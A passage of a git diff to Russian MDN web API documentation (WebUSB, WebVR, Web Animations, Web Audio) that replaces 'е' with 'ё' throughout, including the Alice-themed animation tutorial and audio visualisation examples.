              Количество фильтров не определяет количество устройств, показываемых браузером. Например, если найдено только USB-устройство с product ID 0xa800, браузер отобразит только одно устройство. Но, если браузер определит два устройства, совпадающих с первым фильтром, и ещё одно, совпадающее со вторым, будут показаны все три устройства.

              const filters = [
         {vendorId: 0x1209, productId: 0xa800},
diff --git a/files/ru/web/api/vrdisplay/requestpresent/index.html b/files/ru/web/api/vrdisplay/requestpresent/index.html
index 9537b94035..acdb59197f 100644
--- a/files/ru/web/api/vrdisplay/requestpresent/index.html
+++ b/files/ru/web/api/vrdisplay/requestpresent/index.html
@@ -27,9 +27,9 @@ translation_of: Web/API/VRDisplay/requestPresent
 
 
              
 
                
- 
              • Если {{domxref("VRDisplayCapabilities.canPresent")}} ложно или если массив объектов VRLayer содержит более чем {{domxref("VRDisplayCapabilities.maxLayers")}} слоев, произойдёт переход в состояние "отклонено".
                • 
+ 
              • Если {{domxref("VRDisplayCapabilities.canPresent")}} ложно или если массив объектов VRLayer содержит более чем {{domxref("VRDisplayCapabilities.maxLayers")}} слоёв, произойдёт переход в состояние "отклонено".
                • 
  
              • Если объект {{domxref("VRDisplay")}} уже отображает сцену, то вызов его метода requestPresent() обновит массив отображаемых VRLayer объектов.
                • 
- 
              • Если объект VRDisplay уже отображает сцену, а вызов метода requestPresent() приведет к возврату Promise в состоянии "отклонено", то отображение сцены прекратится.
                • 
+ 
              • Если объект VRDisplay уже отображает сцену, а вызов метода requestPresent() приведёт к возврату Promise в состоянии "отклонено", то отображение сцены прекратится.
                • 
  
              • If requestPresent() is called outside of an engagement gesture the promise will be rejected unless the VRDisplay was already presenting. This engagement gesture is also sufficient to allow requestPointerLock() calls until presentation has ended.
                • 
 
              
 
              
diff --git a/files/ru/web/api/vrdisplayevent/index.html b/files/ru/web/api/vrdisplayevent/index.html
index 8b8c2bee90..9847e7e521 100644
--- a/files/ru/web/api/vrdisplayevent/index.html
+++ b/files/ru/web/api/vrdisplayevent/index.html
@@ -13,7 +13,7 @@ translation_of: Web/API/VRDisplayEvent
 
 
              
  
              {{domxref("VRDisplayEvent.VRDisplayEvent()")}}
              
- 
              Создает экземпляр объекта VRDisplayEvent.
              
+ 
              Создаёт экземпляр объекта VRDisplayEvent.
              
 
              
 
 
              Properties
              
diff --git a/files/ru/web/api/vrframedata/index.html b/files/ru/web/api/vrframedata/index.html
index 5fe9d79079..babe98004a 100644
--- a/files/ru/web/api/vrframedata/index.html
+++ b/files/ru/web/api/vrframedata/index.html
@@ -13,7 +13,7 @@ translation_of: Web/API/VRFrameData
 
 
              
  
              {{domxref("VRFrameData.VRFrameData()")}}
              
- 
              Создает экземпляр объекта VRFrameData.
              
+ 
              Создаёт экземпляр объекта VRFrameData.
              
 
              
 
 
              Свойства
              
diff --git a/files/ru/web/api/web_animations_api/index.html b/files/ru/web/api/web_animations_api/index.html
index bb8ac2a631..7e9f416702 100644
--- a/files/ru/web/api/web_animations_api/index.html
+++ b/files/ru/web/api/web_animations_api/index.html
@@ -6,7 +6,7 @@ translation_of: Web/API/Web_Animations_API
 
              {{DefaultAPISidebar("Веб-анимация")}} {{SeeCompatTable()}}
              
 
 
              
-
              API веб-анимации позволяет синхронизировать и сроки изменения представления веб-страницы, то есть анимации элементов DOM. Она делает это путем объединения двух моделей: Модель синхронизации и анимации модели.
              
+
              API веб-анимации позволяет синхронизировать и сроки изменения представления веб-страницы, то есть анимации элементов DOM. Она делает это путём объединения двух моделей: Модель синхронизации и анимации модели.
              
 
              
 
 
              Основные понятия и использование API
              
@@ -28,7 +28,7 @@ translation_of: Web/API/Web_Animations_API
  
              {{Domxref("DocumentTimeline")}}
              
  
              Представляет временные рамки анимации, в том числе временные рамки анимации по умолчанию для документа (через свойство {{domxref("Document.timeline")}}).
              
  
              {{Domxref("AnimationEffectTiming")}}
              
- 
              Объект, содержащий временные свойства, возвращенные {{domxref("KeyframeEffect.timing", "сроки")}} атрибут {{domxref("KeyframeEffect")}}. Он наследует свои свойства от {{domxref("AnimationEffectTimingReadOnly")}}, но в не только чтение формы.
              
+ 
              Объект, содержащий временные свойства, возвращённые {{domxref("KeyframeEffect.timing", "сроки")}} атрибут {{domxref("KeyframeEffect")}}. Он наследует свои свойства от {{domxref("AnimationEffectTimingReadOnly")}}, но в не только чтение формы.
              
  
              {{Domxref("SharedKeyframeList")}}
              
  
              Представляет собой последовательность ключевых кадров , которые могут быть разделены между {{domxref("KeyframeEffect")}} объектов. Используя SharedKeyframeListобъекты, несколько KeyframeEffectобъектов могут повторно использовать одни и те же ключевые кадры , не заплатив стоимость разбора их несколько раз.
              
  
              {{domxref("AnimationEffectTimingProperties")}}
              
@@ -58,7 +58,7 @@ translation_of: Web/API/Web_Animations_API
 
 
              Веб-анимация для чтения только интерфейсы
              
 
-
              Следующие интерфейсы включены в спецификации для таких целей, как определение функции, используемые в нескольких других местах, или служить в качестве основы для нескольких интерфейсов, которые могут быть использованы в качестве значений одних и тех же свойств. Вы бы не напрямую использовать их в работе веб-разработки, но они могут быть интересны для авторов библиотеки, чтобы понять, как эта технология работает, так что их реализации могут быть более эффективными, или для инженеров браузеров, которые ищут более легкой ссылки, чем спецификация обеспечивает.
              
+
              Следующие интерфейсы включены в спецификации для таких целей, как определение функции, используемые в нескольких других местах, или служить в качестве основы для нескольких интерфейсов, которые могут быть использованы в качестве значений одних и тех же свойств. Вы бы не напрямую использовать их в работе веб-разработки, но они могут быть интересны для авторов библиотеки, чтобы понять, как эта технология работает, так что их реализации могут быть более эффективными, или для инженеров браузеров, которые ищут более лёгкой ссылки, чем спецификация обеспечивает.
              
 
 
              
  
              {{Domxref("AnimationEffectTimingReadOnly")}}
              
diff --git a/files/ru/web/api/web_animations_api/using_the_web_animations_api/index.html b/files/ru/web/api/web_animations_api/using_the_web_animations_api/index.html
index d050b43cb8..e19524852d 100644
--- a/files/ru/web/api/web_animations_api/using_the_web_animations_api/index.html
+++ b/files/ru/web/api/web_animations_api/using_the_web_animations_api/index.html
@@ -7,7 +7,7 @@ translation_of: Web/API/Web_Animations_API/Using_the_Web_Animations_API
 ---
 
              {{DefaultAPISidebar("Web Animations")}}
              
 
-
              Web Animations API позволяет нам создать анимацию и управлять её воспроизведением с помощью JavaScript. Эта статья будет правильным руководством для старта c веселыми демками и уроками с Алисой в Стране Чудес.
              
+
              Web Animations API позволяет нам создать анимацию и управлять её воспроизведением с помощью JavaScript. Эта статья будет правильным руководством для старта c весёлыми демками и уроками с Алисой в Стране Чудес.
              
 
 
              Встречайте Web Animations API
              
 
@@ -18,7 +18,7 @@ translation_of: Web/API/Web_Animations_API/Using_the_Web_Animations_API
 
 
              Поддержка Браузеров
              
 
-
              Основы и компоненты Web Animations API, описанные в этой статье доступны в Firefox 48+ и Chrome 36+. Webkit и Edge перешли на  API соответственно, но пока нет полной поддержки во всех браузерах, есть удобная служба проверки handy maintained polyfill которая тестирует и добавляет ее при необходимости.
              
+
              Основы и компоненты Web Animations API, описанные в этой статье доступны в Firefox 48+ и Chrome 36+. Webkit и Edge перешли на  API соответственно, но пока нет полной поддержки во всех браузерах, есть удобная служба проверки handy maintained polyfill которая тестирует и добавляет её при необходимости.
              
 
 
              Написание CSS Animations вместе с Web Animations API
              
 
@@ -26,11 +26,11 @@ translation_of: Web/API/Web_Animations_API/Using_the_Web_Animations_API
 
 
              CSS версия
              
 
-
              Вот такая анимация написана в CSS, показывающая, как Алиса падает в кроличью нору, которая ведет в страну чудес (см. полный код на Codepen):
              
+
              Вот такая анимация написана в CSS, показывающая, как Алиса падает в кроличью нору, которая ведёт в страну чудес (см. полный код на Codepen):
              
 
 
              Alice Tumbling down the rabbit's hole.
              
 
-
              Заметьте, что фон двигается, Алиса крутится и ее цвет меняется при вращении. Мы собираемся сосредоточиться только на Алисе в этом уроке. Вот упрощенный код CSS, который управляет движением Алисы.
              
+
              Заметьте, что фон двигается, Алиса крутится и её цвет меняется при вращении. Мы собираемся сосредоточиться только на Алисе в этом уроке. Вот упрощённый код CSS, который управляет движением Алисы.
              
 
 
              #alice {
   animation: aliceTumbling infinite 3s linear;
@@ -50,7 +50,7 @@ translation_of: Web/API/Web_Animations_API/Using_the_Web_Animations_API
   }
 }
              
 
-
              Изменение цвета Алисы и ее вращение в течение 3 секунд при постоянной (линейной) скорости и бесконечном цикле. В @keyframes блоке мы видим, что 30%  из всего цикла (около 9 секунд), цвет Алисы меняется от черного до насыщенного бордового, а потом снова в черный к концу цикла.
              
+
              Изменение цвета Алисы и её вращение в течение 3 секунд при постоянной (линейной) скорости и бесконечном цикле. В @keyframes блоке мы видим, что 30%  из всего цикла (около 9 секунд), цвет Алисы меняется от чёрного до насыщенного бордового, а потом снова в чёрный к концу цикла.
              
 
 
              Движение в JavaScript
              
 
@@ -66,13 +66,13 @@ translation_of: Web/API/Web_Animations_API/Using_the_Web_Animations_API
   { transform: 'rotate(360deg) translate3D(-50%, -50%, 0)', color: '#000' }
 ];
              -

              Здесь мы используем массив, содержащий несколько объектов. Каждый объект представляет собой код от оригинального CSS. Однако, в отличие от CSS, Web Animations API не нужно назначать точные проценты по анимации для каждого открывающего кода. Он автоматически разделит анимацию на равные части в соответствии с количеством кодов, которые вы ему даете. Это означает, что объект Keyframe с тремя кодами будет воспроизводить средний код 50% времени через каждый цикл анимации если не указано иное.

              +

              Здесь мы используем массив, содержащий несколько объектов. Каждый объект представляет собой код от оригинального CSS. Однако, в отличие от CSS, Web Animations API не нужно назначать точные проценты по анимации для каждого открывающего кода. Он автоматически разделит анимацию на равные части в соответствии с количеством кодов, которые вы ему даёте. Это означает, что объект Keyframe с тремя кодами будет воспроизводить средний код 50% времени через каждый цикл анимации если не указано иное.

              -

              Если мы хотим, чтобы определенный набор кода смещался относительного другого кода, мы можем указать смещение непосредственно на объекте который будет меняться, отделив значение запятой. В приведенном выше примере видно, чтобы цвет Алисы менялся на 30%, а не на 50% всего цикла, мы задаем смещение: 0,333.

              +

              Если мы хотим, чтобы определённый набор кода смещался относительного другого кода, мы можем указать смещение непосредственно на объекте который будет меняться, отделив значение запятой. В приведённом выше примере видно, чтобы цвет Алисы менялся на 30%, а не на 50% всего цикла, мы задаём смещение: 0,333.

              Там должно быть как минимум два кадра (представляющих начало и конец анимации). Если в вашем списке keyframe только одна запись, {{domxref("Element.animate()")}} то анимация выполняться не будет, вы получите ошибку NotSupportedError exception.

              -

              И так повторим, код равномерно распределен по умолчанию, если не указано смещение. Удобно, не так ли?

              +

              И так повторим, код равномерно распределён по умолчанию, если не указано смещение. Удобно, не так ли?

              Представление свойства времени.

              @@ -87,7 +87,7 @@ translation_of: Web/API/Web_Animations_API/Using_the_Web_Animations_API
              • Во-первых, длительность в миллисекундах, в отличии от секунд - 3000, а не 3с. Как {{domxref("WindowTimers.setTimeout()")}} и {{domxref("Window.requestAnimationFrame()")}}, Web Animations API использует только миллисекунды.
                • -
              • Во-вторых, что вы заметили, что он итерационный (повторяется), а не счетчик повторений.
                • +
              • Во-вторых, что вы заметили, что он итерационный (повторяется), а не счётчик повторений.
              @@ -96,7 +96,7 @@ translation_of: Web/API/Web_Animations_API/Using_the_Web_Animations_API

              Собираем части вместе.

              -

              Сейчас соберем все части вместе используя {{domxref("Element.animate()")}} метод:

              +

              Сейчас соберём все части вместе используя {{domxref("Element.animate()")}} метод:

              document.getElementById("alice").animate(
   aliceTumbling,
@@ -105,7 +105,7 @@ translation_of: Web/API/Web_Animations_API/Using_the_Web_Animations_API
 
 
              И вуаля, анимация работает(смотрите готовый вариант на version on Codepen).
              
 
-
              The animate() метод может быть применен на любой DOM-элемент, который может быть анимирован с помощью CSS. И он может быть записан несколькими способами. Вместо того, чтобы делить объекты на ключевые кадры и временные характеристики, мы могли бы просто передать свои значения непосредственно вот так:
              
+
              The animate() метод может быть применён на любой DOM-элемент, который может быть анимирован с помощью CSS. И он может быть записан несколькими способами. Вместо того, чтобы делить объекты на ключевые кадры и временные характеристики, мы могли бы просто передать свои значения непосредственно вот так:
              
 
 
              document.getElementById("alice").animate(
   [
@@ -118,7 +118,7 @@ translation_of: Web/API/Web_Animations_API/Using_the_Web_Animations_API
   }
 );
              
 
-
              Более того, если мы хотели указать только длительность анимации, а не ее повторение (по умолчанию анимации повторяется один раз), мы могли бы пройтись только по миллисекундам:
              
+
              Более того, если мы хотели указать только длительность анимации, а не её повторение (по умолчанию анимации повторяется один раз), мы могли бы пройтись только по миллисекундам:
              
 
 
              document.getElementById("alice").animate(
   [
@@ -133,7 +133,7 @@ translation_of: Web/API/Web_Animations_API/Using_the_Web_Animations_API
 
 
              Playing the growing and shrinking game with Alice.
              
 
-
              В этой игре Алиса меняется в росте, она то растет, то уменьшается, а контролируем мы этот процесс с помощью  бутылки и кекса. Каждый из них имеют свою анимацию.
              
+
              В этой игре Алиса меняется в росте, она то растёт, то уменьшается, а контролируем мы этот процесс с помощью  бутылки и кекса. Каждый из них имеют свою анимацию.
              
 
 
              Пауза и проигрывание анимации.
              
 
@@ -149,7 +149,7 @@ translation_of: Web/API/Web_Animations_API/Using_the_Web_Animations_API
   duration: aliceChange.effect.timing.duration / 2
 });
              
 
-
              Метод {{domxref("Element.animate()")}} будет выполняться сразу же как начнется игра. Чтобы предотвратить автоматическое поедание кекса до того, как пользователь на него нажмет, мы вызываем {{domxref("Animation.pause()")}} сразу же как игра открывается, например так:
              
+
              Метод {{domxref("Element.animate()")}} будет выполняться сразу же как начнётся игра. Чтобы предотвратить автоматическое поедание кекса до того, как пользователь на него нажмёт, мы вызываем {{domxref("Animation.pause()")}} сразу же как игра открывается, например так:
              
 
 
              nommingCake.pause();
              
 
@@ -180,11 +180,11 @@ cake.addEventListener("touchstart", growAlice, false);
              • {{domxref("Animation.finish()")}} перейти в конец анимации.
                • -
              • {{domxref("Animation.cancel()")}} прервать анимацию и удалить ее эффект.
                • -
              • {{domxref("Animation.reverse()")}} устанавливать скорость анимации если установить ({{domxref("Animation.playbackRate")}} отрицательное значение, то анимация пойдет в обратном порядке.
                • +
              • {{domxref("Animation.cancel()")}} прервать анимацию и удалить её эффект.
                • +
              • {{domxref("Animation.reverse()")}} устанавливать скорость анимации если установить ({{domxref("Animation.playbackRate")}} отрицательное значение, то анимация пойдёт в обратном порядке.
              -

              Давайте посмотрим на первый playbackRate— отрицательное значение будет запускать анимацию в обратном направлении. Когда Алиса пьет из бутылки, она становится меньше. Это происходит потому, что бутылка изменяет ее анимацию playbackRate от 1 до -1:

              +

              Давайте посмотрим на первый playbackRate— отрицательное значение будет запускать анимацию в обратном направлении. Когда Алиса пьёт из бутылки, она становится меньше. Это происходит потому, что бутылка изменяет её анимацию playbackRate от 1 до -1:

              var shrinkAlice = function() {
   aliceChange.playbackRate = -1;
@@ -194,11 +194,11 @@ cake.addEventListener("touchstart", growAlice, false);
              bottle.addEventListener("mousedown", shrinkAlice, false); bottle.addEventListener("touchstart", shrinkAlice, false); -

              В Through the Looking-Glass, Алиса путешествует по миру, где должна бежать, чтобы оставаться на месте и бежать в двое быстрее, чтобы двигаться вперед. Например в гонке с Красной королевой, Алиса и Красная королева бегут, чтобы оставаться на месте (проверить полный код можно на full code on Codepen):

              +

              В Through the Looking-Glass, Алиса путешествует по миру, где должна бежать, чтобы оставаться на месте и бежать в двое быстрее, чтобы двигаться вперёд. Например в гонке с Красной королевой, Алиса и Красная королева бегут, чтобы оставаться на месте (проверить полный код можно на full code on Codepen):

              Alice and the Red Queen race to get to the next square in this game.

              -

              Так как маленькие дети легко устают, в отличии от шахматных фигур, Алиса постоянно замедляется. Мы отобразили это в коде путем ослабления (уменьшения скорости) playbackRate анимации.

              +

              Так как маленькие дети легко устают, в отличии от шахматных фигур, Алиса постоянно замедляется. Мы отобразили это в коде путём ослабления (уменьшения скорости) playbackRate анимации.

              setInterval( function() {
 
@@ -209,7 +209,7 @@ bottle.addEventListener("touchstart", shrinkAlice, false);
              }, 3000); -

              Но постоянно нажимая на них мышью, мы заставляем их ускориться путем умножения playbackRate (скорости анимации)

              +

              Но постоянно нажимая на них мышью, мы заставляем их ускориться путём умножения playbackRate (скорости анимации)

              var goFaster = function() {
 
@@ -224,7 +224,7 @@ document.addEventListener("touchstart", goFaster);

              Получение информации из анимации

              -

              Представьте, что мы могли бы использовать playbackRate, как улучшения доступности сайта для пользователей с вестибулярными расстройствами, позволяя им замедлить анимацию на всех страницах сайта. Это невозможно сделать с помощью CSS без пересчета длительности в каждом правиле CSS, но с веб-анимации API, мы могли бы использовать в будущем (пока не поддерживается в браузерах!) Метод {{domxref("document.getAnimations()")}} систему циклов по каждой анимации на странице и сократить скорость анимации вот так:

              +

              Представьте, что мы могли бы использовать playbackRate, как улучшения доступности сайта для пользователей с вестибулярными расстройствами, позволяя им замедлить анимацию на всех страницах сайта. Это невозможно сделать с помощью CSS без пересчёта длительности в каждом правиле CSS, но с веб-анимации API, мы могли бы использовать в будущем (пока не поддерживается в браузерах!) Метод {{domxref("document.getAnimations()")}} систему циклов по каждой анимации на странице и сократить скорость анимации вот так:

              document.getAnimations().forEach(
   function (animation) {
@@ -250,21 +250,21 @@ document.addEventListener("touchstart", goFaster);
              fill: 'both' }); -

              Изменение размера Алисы в два раза происходит за 8 секунд. Затем мы останавливаем ее:

              +

              Изменение размера Алисы в два раза происходит за 8 секунд. Затем мы останавливаем её:

              aliceChange.pause();
              -

              Если бы оставили ее на паузе в начале анимации , то Алиса увеличилась бы в два раза, когда выпила бы всю бутылку. Мы хотим остановить ее анимацию "воспроизведение" в середине, когда она уже на половину выполнена. Мы могли бы это сделать, установив {{domxref("Animation.currentTime")}} 4 секунды, вот так:

              +

              Если бы оставили её на паузе в начале анимации , то Алиса увеличилась бы в два раза, когда выпила бы всю бутылку. Мы хотим остановить её анимацию "воспроизведение" в середине, когда она уже на половину выполнена. Мы могли бы это сделать, установив {{domxref("Animation.currentTime")}} 4 секунды, вот так:

              aliceChange.currentTime = 4000;
              -

              Но во время работы над этой анимацией мы можем сильно увеличить ее продолжительность. Разве не лучше установить динамическое изменение времени (currentTime), тогда нам не придется делать два обновления за один раз. Мы можем это сделать с помощью ссылки на изменение свойства размера Алисы (aliceChange) {{domxref("Animation.effect")}} который возвращает все детали и действующие эффекты, содержащиеся в объекте, на Алису:

              +

              Но во время работы над этой анимацией мы можем сильно увеличить её продолжительность. Разве не лучше установить динамическое изменение времени (currentTime), тогда нам не придётся делать два обновления за один раз. Мы можем это сделать с помощью ссылки на изменение свойства размера Алисы (aliceChange) {{domxref("Animation.effect")}} который возвращает все детали и действующие эффекты, содержащиеся в объекте, на Алису:

              aliceChange.currentTime = aliceChange.effect.timing.duration / 2;
              -

              эффекты позволяют нам получить доступ к анимации keyframe (кадров) и синхронности объектов - aliceChange.effect.timing , указывающий на время Алисиных элементов (которые имеют тип {{domxref("AnimationEffectTimingReadOnly")}}) — в этом содержится ее {{domxref("AnimationEffectTimingReadOnly.duration")}}. Мы можем распределить ее длительность на два раза, чтобы получить среднюю точку во временной шкале для установки нормального роста.

              +

              эффекты позволяют нам получить доступ к анимации keyframe (кадров) и синхронности объектов - aliceChange.effect.timing , указывающий на время Алисиных элементов (которые имеют тип {{domxref("AnimationEffectTimingReadOnly")}}) — в этом содержится её {{domxref("AnimationEffectTimingReadOnly.duration")}}. Мы можем распределить её длительность на два раза, чтобы получить среднюю точку во временной шкале для установки нормального роста.

              -

              Теперь мы можем запустить ее в обратном порядке и играться анимацией в любом направлении, чтобы заставить ее расти или уменьшаться

              +

              Теперь мы можем запустить её в обратном порядке и играться анимацией в любом направлении, чтобы заставить её расти или уменьшаться

              var drinking = document.getElementById('liquid').animate(
 [
@@ -280,7 +280,7 @@ drinking.pause();

              Теперь все три анимации связаны только с одной продолжительности, и мы можем легко переходить из одного места.

              -

              Мы также можем использовать веб-анимации API, чтобы выяснить Текущее время анимации. Игра заканчивается, когда вы бежите от съеденного торта или выпитой бутылки. Изображение у игрока будет зависеть от анимации Алисы. Стала ли она слишком большой на фоне крошечной двери и не может в нее пройти или слишком маленькой и не может достать ключ, чтобы открыть дверь. Мы можем выяснить, стала она большой или маленький в конце ее анимация, получая текущее время ее анимации currentTime и разделив ее на activeDuration:

              +

              Мы также можем использовать веб-анимации API, чтобы выяснить Текущее время анимации. Игра заканчивается, когда вы бежите от съеденного торта или выпитой бутылки. Изображение у игрока будет зависеть от анимации Алисы. Стала ли она слишком большой на фоне крошечной двери и не может в неё пройти или слишком маленькой и не может достать ключ, чтобы открыть дверь. Мы можем выяснить, стала она большой или маленький в конце её анимация, получая текущее время её анимации currentTime и разделив её на activeDuration:

              var endGame = function() {
 
@@ -334,7 +334,7 @@ aliceChange.onfinish = endGame;
              -

              Нравится перспектива? Web Animations API также дает две перспективы: onfinish и oncancel.

              +

              Нравится перспектива? Web Animations API также даёт две перспективы: onfinish и oncancel.

              Эти обещания не полностью поддерживаются в настоящий момент.

              diff --git a/files/ru/web/api/web_audio_api/index.html b/files/ru/web/api/web_audio_api/index.html index ba3df973e4..cb927ca206 100644 --- a/files/ru/web/api/web_audio_api/index.html +++ b/files/ru/web/api/web_audio_api/index.html @@ -12,7 +12,7 @@ tags: translation_of: Web/API/Web_Audio_API ---
              -

              Web audio API - мощный и многогранный инструмент для манипуляции звуковой составляющей на веб-странице, что дает возможность разработчикам выбрать источники, добавить к ним специальные звуковые эффекты (такие как panning), визуализировать их и многое другое.

              +

              Web audio API - мощный и многогранный инструмент для манипуляции звуковой составляющей на веб-странице, что даёт возможность разработчикам выбрать источники, добавить к ним специальные звуковые эффекты (такие как panning), визуализировать их и многое другое.

              Общие концепции и использование Web Audio

              @@ -52,7 +52,7 @@ translation_of: Web/API/Web_Audio_API
              {{domxref("AudioContext")}}
              -
              AudioContext представляет собой некий аудио обрабатывающий объект, сооруженный из аудио модулей связанных вместе, где каждый является экземпляром класса {{domxref("AudioNode")}}. AudioContext управляет созданием узлов, содержащихся в нём и выполняет обработку или декодирование аудио данных.
              +
              AudioContext представляет собой некий аудио обрабатывающий объект, сооружённый из аудио модулей связанных вместе, где каждый является экземпляром класса {{domxref("AudioNode")}}. AudioContext управляет созданием узлов, содержащихся в нём и выполняет обработку или декодирование аудио данных.
              {{domxref("AudioNode")}}
              Интерфейс AudioNode представляет собой некий обрабатывающий  модуль такой как источник аудио  (то есть HTML <audio> или <video> элемент), конечный аудио объект, модуль непосредственной обработки (например фильтр BiquadFilterNode или звуковой контроллер такой как GainNode).
              {{domxref("AudioParam")}}
              @@ -87,7 +87,7 @@ translation_of: Web/API/Web_Audio_API
              {{domxref("BiquadFilterNode")}}
              BiquadFilterNode представляет простой фильтр низкого порядка. Это {{domxref("AudioNode")}} представляющий различные виды фильтров такие как эквалайзер или управление тональностью. BiquadFilterNode имеет ровно один вход и один выход.
              {{domxref("ConvolverNode")}}
              -
              ConvolverNode это {{domxref("AudioNode")}} выполняющий линейную свертку AudioBuffer, часто применяется для достижения эффекта реверберации по заданной импульсной характеристике.
              +
              ConvolverNode это {{domxref("AudioNode")}} выполняющий линейную свёртку AudioBuffer, часто применяется для достижения эффекта реверберации по заданной импульсной характеристике.
              {{domxref("DelayNode")}}
              DelayNode представляет собой линию задержки (delay-line); содержит {{domxref("AudioNode")}} вызывающий задержку между выходным и входным сигналом.
              {{domxref("DynamicsCompressorNode")}}
              diff --git a/files/ru/web/api/web_audio_api/visualizations_with_web_audio_api/index.html b/files/ru/web/api/web_audio_api/visualizations_with_web_audio_api/index.html index cd2730006c..63e50078b7 100644 --- a/files/ru/web/api/web_audio_api/visualizations_with_web_audio_api/index.html +++ b/files/ru/web/api/web_audio_api/visualizations_with_web_audio_api/index.html @@ -27,10 +27,10 @@ analyser.connect(distortion); distortion.connect(audioCtx.destination);
              -

              Примечание: вам не нужно подключать вывод анализатора к другому узлу для его работы, пока его ввод подключен к источнику, либо напрямую, либо через другой узел.

              +

              Примечание: вам не нужно подключать вывод анализатора к другому узлу для его работы, пока его ввод подключён к источнику, либо напрямую, либо через другой узел.

              -

              Затем анализатор захватит аудиоданные, используя быстрое преобразование Фурье (БПФ) в определенной частотной области, в зависимости от того, что вы укажете как значение свойства {{ domxref("AnalyserNode.fftSize") }} (если свойство не задано, то значение по умолчанию равно 2048).

              +

              Затем анализатор захватит аудиоданные, используя быстрое преобразование Фурье (БПФ) в определённой частотной области, в зависимости от того, что вы укажете как значение свойства {{ domxref("AnalyserNode.fftSize") }} (если свойство не задано, то значение по умолчанию равно 2048).

              Примечание: Вы так же можете указать значения минимума и максимума для диапазона масштабирования данных БПФ, используя {{ domxref("AnalyserNode.minDecibels") }} и {{ domxref("AnalyserNode.maxDecibels") }}, и разные константы усреднения данных с помощью {{ domxref("AnalyserNode.smoothingTimeConstant") }}. Прочтите эти страницы, чтобы получить больше информации о том как их использовать.

              @@ -38,9 +38,9 @@ distortion.connect(audioCtx.destination);

              Чтобы получить данные, Вам нужно использовать методы {{ domxref("AnalyserNode.getFloatFrequencyData()") }} и {{ domxref("AnalyserNode.getByteFrequencyData()") }}, чтобы получить данные о частоте, и {{ domxref("AnalyserNode.getByteTimeDomainData()") }} и {{ domxref("AnalyserNode.getFloatTimeDomainData()") }} чтобы получить данные о форме волны.

              -

              Эти методы копируют данные в указанный массив, поэтому Вам необходимо создать новый массив для хранения данных, прежде чем вызывать эти функции . Результат первой из них - числа типа float32, второй и третьей - uint8, поэтому стандартный массив JavaScript не подойдет для их хранения — следует использовать массивы {{ domxref("Float32Array") }} или {{ domxref("Uint8Array") }}, в зависимости от нужных Вам данных.

              +

              Эти методы копируют данные в указанный массив, поэтому Вам необходимо создать новый массив для хранения данных, прежде чем вызывать эти функции . Результат первой из них - числа типа float32, второй и третьей - uint8, поэтому стандартный массив JavaScript не подойдёт для их хранения — следует использовать массивы {{ domxref("Float32Array") }} или {{ domxref("Uint8Array") }}, в зависимости от нужных Вам данных.

              -

              Например, если параметр AnalyserNode.fftSize установлен на 2048, мы возвращаем значение {{ domxref("AnalyserNode.frequencyBinCount") }}, равное половине fft, затем вызываем Uint8Array() с frequencyBinCount в качестве длины — столько измерений мы произведем для данного размера fft.

              +

              Например, если параметр AnalyserNode.fftSize установлен на 2048, мы возвращаем значение {{ domxref("AnalyserNode.frequencyBinCount") }}, равное половине fft, затем вызываем Uint8Array() с frequencyBinCount в качестве длины — столько измерений мы произведём для данного размера fft.

              analyser.fftSize = 2048;
 var bufferLength = analyser.frequencyBinCount;
@@ -95,7 +95,7 @@ var dataArray = new Uint8Array(bufferLength);
                    var sliceWidth = WIDTH * 1.0 / bufferLength;
       var x = 0;
              -

              В цикле, мы задаем позицию небольшого отрезка волны для каждой точки в буфере на высоте, основанной на значении массива в этой точке, а затем перемещаем линию туда, где должен быть нарисован следующий отрезок:

              +

              В цикле, мы задаём позицию небольшого отрезка волны для каждой точки в буфере на высоте, основанной на значении массива в этой точке, а затем перемещаем линию туда, где должен быть нарисован следующий отрезок:

                    for(var i = 0; i < bufferLength; i++) {
 
@@ -127,9 +127,9 @@ var dataArray = new Uint8Array(bufferLength);

              Создание частотной гистограммы

              -

              Еще одна визуализация, которую можно создать, - это частотные диаграммы (такие, как строит Winamp). В проекте Voice-change-O-matic есть реализация такой диаграммы. Давайте посмотрим на нее.

              +

              Ещё одна визуализация, которую можно создать, - это частотные диаграммы (такие, как строит Winamp). В проекте Voice-change-O-matic есть реализация такой диаграммы. Давайте посмотрим на нее.

              -

              Сначала мы снова создаем анализатор и массив для данных, затем очищаем холст при помощи clearRect(). Единственное отличие от того, что мы делали раньше - ы том, что мы можем установить намного меньший размер fft. Таким образом, каждый столбец в диаграмме будет выглядеть как столбец, а не как тонкая полоска.

              +

              Сначала мы снова создаём анализатор и массив для данных, затем очищаем холст при помощи clearRect(). Единственное отличие от того, что мы делали раньше - ы том, что мы можем установить намного меньший размер fft. Таким образом, каждый столбец в диаграмме будет выглядеть как столбец, а не как тонкая полоска.

                  analyser.fftSize = 256;
     var bufferLength = analyser.frequencyBinCount;
@@ -138,7 +138,7 @@ var dataArray = new Uint8Array(bufferLength);
              canvasCtx.clearRect(0, 0, WIDTH, HEIGHT); -

              Затем мы запускаем функцию draw()  и задаем цикл при помощи requestAnimationFrame() таким образом, чтобы в каждом кадре анимации данные обновлялись.

              +

              Затем мы запускаем функцию draw()  и задаём цикл при помощи requestAnimationFrame() таким образом, чтобы в каждом кадре анимации данные обновлялись.

                  function draw() {
       drawVisual = requestAnimationFrame(draw);
@@ -148,9 +148,9 @@ var dataArray = new Uint8Array(bufferLength);
              canvasCtx.fillStyle = 'rgb(0, 0, 0)'; canvasCtx.fillRect(0, 0, WIDTH, HEIGHT); -

              Затем мы устанавливаем значение barWidth , равное ширине холста, деленной на количество столбцов (длину буфера). Однако, мы домножаем ширину на 2.5, поскольку на большинстве частот звука не будет, поскольку большинство звуков, которые мы слышим в повседневной жизни, находятся в определенных, достаточно низких, диапазонах частот. Нам нет смысла показывать множество пустых частот, поэтому мы просто сдвигаем столбцы, соответствующие наиболее распространенным частотам.

              +

              Затем мы устанавливаем значение barWidth , равное ширине холста, делённой на количество столбцов (длину буфера). Однако, мы домножаем ширину на 2.5, поскольку на большинстве частот звука не будет, поскольку большинство звуков, которые мы слышим в повседневной жизни, находятся в определённых, достаточно низких, диапазонах частот. Нам нет смысла показывать множество пустых частот, поэтому мы просто сдвигаем столбцы, соответствующие наиболее распространённым частотам.

              -

              Мы также устанавливаем значение переменных barHeight и x , задающей то, где на холсте должен быть размещен каждый столбец.

              +

              Мы также устанавливаем значение переменных barHeight и x , задающей то, где на холсте должен быть размещён каждый столбец.

                    var barWidth = (WIDTH / bufferLength) * 2.5;
       var barHeight;
@@ -174,7 +174,7 @@ var dataArray = new Uint8Array(bufferLength);
                  draw();
              -

              Этот код дает нам следующий результат:

              +

              Этот код даёт нам следующий результат:

